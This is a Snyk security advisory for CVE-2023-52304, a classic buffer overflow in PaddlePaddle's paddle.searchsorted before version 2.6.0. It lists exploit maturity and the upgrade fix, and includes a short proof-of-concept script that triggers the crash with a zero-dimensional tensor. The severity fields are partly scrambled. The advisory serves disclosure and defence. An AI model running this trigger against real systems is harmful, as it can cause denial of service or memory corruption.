Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affecting paddlepaddle/paddle package, versions [,2.6.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.22% (60th percentile)

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  • Snyk IDSNYK-UNMANAGED-PADDLEPADDLEPADDLE-6142738
  • published3 Jan 2024
  • disclosed3 Jan 2024
  • creditTong Liu

Introduced: 3 Jan 2024

CVE-2023-52304  (opens in a new tab)
CWE-120  (opens in a new tab)

How to fix?

Upgrade paddlepaddle/paddle to version 2.6.0 or higher.

Overview

Affected versions of this package are vulnerable to Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') via the paddle.searchsorted function. An attacker can cause a denial of service or potentially execute arbitrary code by providing oversized input data to trigger this vulnerability.

PoC

import paddle
import numpy as np

sorted_sequence = paddle.to_tensor(np.array(0))
values = paddle.to_tensor(np.random.uniform(-10, 10, []).astype(np.float64))

paddle.searchsorted(sorted_sequence, values, out_int32=True, right=True)

CVSS Scores

version 3.1